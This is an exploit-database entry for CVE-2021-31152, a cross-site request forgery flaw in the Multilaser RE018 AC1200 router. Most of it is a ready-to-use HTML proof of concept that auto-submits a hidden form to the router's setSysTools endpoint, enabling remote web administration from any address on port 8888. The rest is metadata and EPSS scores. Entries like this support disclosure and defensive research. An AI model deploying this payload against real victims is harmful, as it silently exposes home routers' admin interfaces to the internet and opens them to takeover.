Multilaser Router RE018 AC1200 - Cross-Site Request Forgery (Enable Remote Access) Vulnerability

2021-04-2100:00:00

0day.today

0.004 Low

EPSS

Percentile

74.9%

JSON

# Exploit Title: Multilaser Router RE018 AC1200 - Cross-Site Request Forgery (Enable Remote Access)
# Exploit Author: Rodolfo Mariano
# Version: Firmware V02.03.01.45_pt
# CVE: CVE-2021-31152

#Exploit code:
<html>
	<body>
		<form action="http://192.168.0.1/goform/setSysTools" method="POST">
		    <input name="module4" value="remoteWeb" type="hidden">
		    <input name="remoteWebType" value="any" type="hidden">
		    <input name="remoteWebIP" value="" type="hidden">
		    <input name="remoteWebPort" value="8888" type="hidden">
            	    <input type="submit" value="Submit request">
		</form>
	</body>
	<script>
		document.forms[0].submit();
	</script>
	</body>
</html>

#  0day.today [2021-10-25]  #

0.004 Low

EPSS

Percentile

74.9%

JSON

Related for 1337DAY-ID-36125